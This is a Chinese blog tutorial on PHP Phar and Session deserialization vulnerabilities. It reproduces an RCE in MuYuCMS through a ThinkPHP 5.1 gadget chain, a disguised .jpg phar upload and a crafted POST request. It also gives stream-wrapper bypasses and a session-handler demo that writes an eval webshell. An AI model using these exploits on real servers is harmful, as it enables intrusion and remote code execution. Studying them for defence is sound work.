一文领悟Phar和Session反序列化

Phar和Session反序列化

通过简单的漏洞demoMuYuCMS的Phar反序列化复现总结帮助大家理解一下这两个反序列化,如有错误,还请斧正!

Phar反序列化

基本介绍

Phar反序列化不依赖unserialize()函数进行反序列化。而是构造phar文件,以序列化的形式存储用户自定义的meta-data这一特性,phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。具体解析代码。该方法需要在文件系统函数(file_exits()、is_dir()等)参数可控的情况下,配合phar://伪协议直接进行反序列化。即本地构造phar文件把恶意代码本地序列化好,再通过文件上传功能点上传phar文件至目标网站,最后用phar协议配合文件系统函数反序列化phar文件,达到预期目的。

phar文件简介

1
phar文件是一种打包形式,把php代码和其他资源(图像、表等)捆绑到一个归档文件中来实现应用程序和库的开发,跟jar文件差不多。本质上是一个压缩文件,会议序列化的形式存储用户在自定义的meta-data内的内容

phar文件组成

1
2
3
4
5
6
7
8
9
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
//简单地说就是告诉系统自己是一个什么样的文件,声明文件后缀

manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
//存放序列化的内容

content:被压缩文件的内容

signature (可空):签名,放在末尾。

实现方法

0x01、生成phar文件

1、环境准备

php版本:php>=5.2

image-20250203135055987

php.ini配置:phar.readonly设为Off,修改之后要重新启动phpstudy,让配置生效。

image-20250203135214743


2、phar代码

下面是用于生成phar文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class AnyClass{
var $output = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

image-20250203135655646

然后我们访问上述1.php文件,即可生成phar文件

image-20250203140543271

成功生成

image-20250203140612123

进一步查看,这也就生成了一个phar文件

image-20250203140726270

0x02、实现反序列化

漏洞实现前提

1
2
3
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且 ./ ../ phar等特殊字符没有被过滤
文件操作函数

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

img

开审

这里使用MuYuCMS的一个phar反序列化做演示。安装就跳过了,直接开始看代码

对于phar的挖掘,我们的着手点主要是文件操作函数、可控魔术方法

我们就以文件操作函数为引,全局检索:is_dir()函数,发现一处函数的参数可控

image-20250204093113453

image-20250204100644225

为了更快了解传参的方式,进一步检索cutformadd,直接用定位页面,然后抓包的形式,来快速地弄清楚传参方式。但是又发现这个方法是灰色的,就说明没有调用,但是事实并非如此,这个CMS应该是直接用html页面绑定某一个函数地形式。(如下)

image-20250204100945110

于是我们直接登录去找页面即可,我们直接访问admin/template/cutformadd,发现是报错了image-20250204101616098

稍微分析一下常规路由,是以/admin.php/index/index.html,这种形式存在的,有/admin.php/,这种形式,我们直接访问admin.php/template/cutformadd即可

image-20250204101743973

但是光有文件操作函数还是不足以反序列化,还要找链子,根据这个路由的形式我们很容易判断,这其实是一个TP框架。下载项目的时候我们也能看见

image-20250204102015964

主播主播,找链子还是太吃操作了,有没有简单有强势的方法推荐一下呢?有的兄弟,有的,这个经典流行框架,我们直接去网上翻个比较通用的链子利用即可!上大哥

ThinkPHP5.1反序列化实现rce,这里就有通用的链子,我们稍作修改呢!什么?还要改?我不太了解tp框架啊,懵了。。。没事还有大哥撑腰,https://forum.butian.net/share/2678,我们直接用exp即可。**直接站在两个巨人的肩膀上**,在链子中加入一个主命名空间,并在其中添加生成Phar文件的代码,`TestObject`需要替换成链子中的入口类`Windows`。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace think{
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["l1_Tuer"=>["123"]];
$this->data = ["l1_Tuer"=>new Request()];
}
}

class Request{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
}

namespace think\process\pipes{
use think\model\concern\Conversion;
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
use think\process\pipes\Windows;
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new Windows();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo (base64_encode(serialize(new Windows())));
}
?>

$this->$config = ['var_ajax'=>'',];如果设置为空,那我们get传入的变量名可以为任意值。但是定义了之后,get传入的变量名就只能是我们定义的变量名。比如使用$this->$config = ['var_ajax'=>'cmd',];,则get需要传递cmd=xxxx

先访问生成phar文件

image-20250204104143920

image-20250204104202286

再翻翻找找文件上传点

image-20250204104446625

上传失败

image-20250204104530390

这就用一个绕过手法了。我们前面提及到phar文件的内容的sub是phar文件的标准格式,也就是CMS可以根据这个文件内部的格式来进行解析,而不是局限于文件后缀,于是我们直接修改一下后缀为shell.jpg,再上传

image-20250204104839752

直接成功上传了

image-20250204105310336

现在直接用phar协议构造payload(路径可以用./尝试出来),即可rce

image-20250204105508277

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin.php/template/cutformadd.html?cmd=type%20c:\\windows\win.ini HTTP/1.1
Host: muyucms
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 120
Origin: http://muyucms
Connection: keep-alive
Referer: http://muyucms/admin.php/template/cutformadd.html
Cookie: PHPSESSID=skuqikd25cc4rfvvja8hmpgdf7
Priority: u=0

finame=%E6%B5%8B%E8%AF%95%E5%BE%97&fielname=gywm.html&path=phar://./public/upload/images/67a18015c2a35.jpg&content=66666

绕过

0X01、绕过__HALT_COMPILER检测的方法:

1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下

1
2
3
4
5
6
7
8
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>

2、将生成的Phar文件进行gzip压缩,压缩命令如下

1
gzip test.phar

0X02、当环境限制了phar不能出现在前面的字符里

1
2
3
4
5
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

0X03、绕过文件格式(生成代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

总结下:

其实看了几篇关于phar反序列化的案例,几乎都是在TP框架有链子的基础上实现的,所以满足有全局性的利用链子+文件操作函数的cms+./无限制,可以考虑phar反序列化!如果能独自找到利用链的话,geigei菜菜教教!


Session反序列化

session序列化&反序列化

Session的序列化(session存储)

当用户通过PHP的$_SESSION变量存储数据时,PHP会自动将这些数据序列化(即转换成字符串)并存储在服务器端的Session文件或其他Session存储介质中。序列化的格式通常是可以通过serialize()函数手动生成的格式。

Session的反序列化(session读取)

当用户再次访问Session数据时,PHP会自动从服务器端读取Session文件,并通过unserialize()函数将数据转换回原始格式。这样,开发者可以像操作普通变量一样处理$_SESSION中的数据。

session序列化和反序列化的存在前提就是当代码中调用session_start()函数时,或者php.ini中的session.auto_start的值为1。session_start()被调用或者php.ini中的session.auto_start为1后,我们在与网页交互时**$_SESSION全局变量传递的参数**就会被用session的方式保存在一个默认目录中去

简单利用1

session配置参数

image-20250205104906508

最需要我们关注的点就是存储和读取的处理器,这也是反序列化漏洞存在的的关键所在

存储类别

我就看一看比较常见的处理器、以及存储的格式

处理器 存储格式
php 键名+竖线(分割线)+ serialize后的值:
php_serialize serialize后这值:
php_binary 键名长度对应的ASCII字符+键名+serialize后的值:

我们用下面这这段demo来看看存储的模样

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['benben']=$_GET['ben'];
$_SESSION['b']=$_GET['b'];
?>

image-20250205123720113

然后去之前提到的存储路径查看找到对应的session保存文件。

php处理器

image-20250205123604544

php_serialize处理器(php>5.5.4)

image-20250205123655993

php_binary处理器,简单一下就行,不太重要

image-20250205124256308

发现php处理器就是键名+竖线+序列化键值组成,读取时键值就会被执行反序列化操作,键名与键值的关键就在于竖线。

漏洞原因

在某个session的生命周期之内,两个文件对同一个session文件的写入与读取的格式的差异(如:一个文件使用php的方式存入,另一个文件以php_serialize的形式读取),一个文件用php_serialize处理器存储变量,另一个文件用php处理器读取session文件中的变量,当我构造存储的参数值出现以下形式时,?ben=|序列化payload&b=1

image-20250205130752716

我们再看存储的形式

image-20250205130819937

此时由于竖线的存在,php处理器就可以处理它,并且被反序列化的键值还是完全可控的!!!然后再结合一些含危险函数的魔术方法不就行了吗!

漏洞demo

我们用一个存在session反序列化漏洞的demo来试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ddd']=$_GET['ddd'];
?>

------------------------------------------------------------------------
//test.php
<?php
ini_set('session.serialize_handler',"php");
session_start();

class ddd{
var $a;
function __destruct(){
$fp = fopen("D:\phpstudy_pro\WWW\\test\shell.php", "w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>

先构造payload:ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}

1
2
3
4
5
6
<?php
class ddd{
var $a='<?php eval($_POST["abc"]);?>';
}
echo serialize(new ddd());
?>

image-20250205140811157

接着直接访问test.php

image-20250205141044945

就能生成shell.php了

image-20250205141009406

session.upload_progress反序列化

upload_progress机制介绍

PHP 提供了 session.upload_progress 特性,用于跟踪大文件上传的进度。该功能默认开启,PHP 会在 $_SESSION 变量中存储文件上传的相关信息

漏洞成因

由于存在把文件相关的信息存储在session文件中,就可通过文件之间的存储读取差异(存储用php_serialize、读取用了php)来实现rce,类同于上述的反序列化差异,其中我们可控的就是我们的文件名。不过这个漏洞的要求更高,除了需要上面的简单利用的配置之外,要保证传入的值不被清除(php.ini中session.upload_progress.cleanup = Off)

漏洞demo

upload.php中的action根据漏洞文件的路径而定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//upload.php上传代码
<form action="http://test:8069/1.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>


---------------------------------------------------
//1.php漏洞文件

<?php
ini_set('session.serialize_handler','php');
session_start();
class test1{
public $ben;
function __construct()
{
$this->ben = 'phpinfo();';
}

function __destruct(){
eval($this->ben);
}

}
if(isset($_GET['ben'])){
$b = new test1();
}else{
highlight_string(file_get_contents('1.php'));
}
?>

构造O:5:"test1":1:{s:3:"ben";s:36:"print_r(scandir(dirname(__FILE__)));";}

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class test1
{
public $ben='print_r(scandir(dirname(__FILE__)));';
}
$b = new test1();
echo serialize($b);
?>

但是要防止双引号转义,同时在前面加上|,得到最终payload:|O:5:\"test1\":1:{s:3:\"ben\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

然后我们访问upload.php上传文件

image-20250205221928649

image-20250205221344351

即可实现session.upload_progress反序列化。


一文领悟Phar和Session反序列化
http://example.com/2025/02/05/一文领悟Phar、Session反序列化/
作者
Yf3te
发布于
2025年2月5日
许可协议